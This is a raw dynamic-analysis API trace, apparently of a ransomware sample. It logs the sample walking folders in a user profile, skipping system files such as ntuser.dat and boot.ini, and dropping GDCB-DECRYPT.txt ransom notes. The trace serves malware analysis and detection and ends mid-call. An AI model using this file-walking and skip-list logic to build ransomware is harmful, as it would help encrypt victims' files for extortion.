[0170.012] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.012] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 132 [0170.012] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.012] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.012] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.012] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.012] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.012] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned 124 [0170.012] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0170.012] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.012] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.012] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 133 [0170.013] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.013] GetLastError () returned 0x50 [0170.013] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.013] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 116 [0170.013] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.013] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a4dd8 [0170.014] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.014] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.014] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.014] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.014] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.014] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.014] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.014] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.014] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.014] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 130 [0170.014] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 130 [0170.014] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.014] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.014] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.014] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.014] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.014] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.014] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 132 [0170.014] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 132 [0170.014] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 132 [0170.014] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 132 [0170.014] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.014] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.014] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.014] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.014] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.014] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.014] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.015] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.015] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.015] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.015] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.015] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.015] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\" [0170.015] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.015] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.015] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.015] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.015] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.015] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.015] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 125 [0170.015] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.015] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4918 [0170.015] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.015] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.015] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.015] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.015] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.015] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.015] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.016] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.016] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 141 [0170.016] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.016] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.016] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.016] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.016] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.016] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 135 [0170.016] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.016] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.016] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.016] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.016] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.016] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 134 [0170.016] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.016] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0170.016] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0170.016] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.016] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 142 [0170.016] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.017] GetLastError () returned 0x50 [0170.017] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.017] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 125 [0170.017] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.017] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4918 [0170.017] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.017] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.017] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.017] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.017] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.017] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.017] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.017] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.017] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.017] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 141 [0170.018] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 141 [0170.018] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 141 [0170.018] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 141 [0170.018] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.018] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.018] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.018] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.018] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.018] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.018] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.018] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.018] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.018] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.018] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.018] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.018] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.018] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.018] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.018] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 135 [0170.018] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 135 [0170.018] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.018] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.018] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.018] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.018] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.018] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.018] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 134 [0170.019] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 134 [0170.019] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.019] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0170.019] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0170.019] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0170.019] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.019] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0170.019] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.019] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.019] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.019] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.019] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 126 [0170.019] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 126 [0170.019] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 126 [0170.019] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 126 [0170.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.019] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.020] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0170.020] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0170.020] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0170.020] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.020] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.020] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data" [0170.020] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\" [0170.020] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: 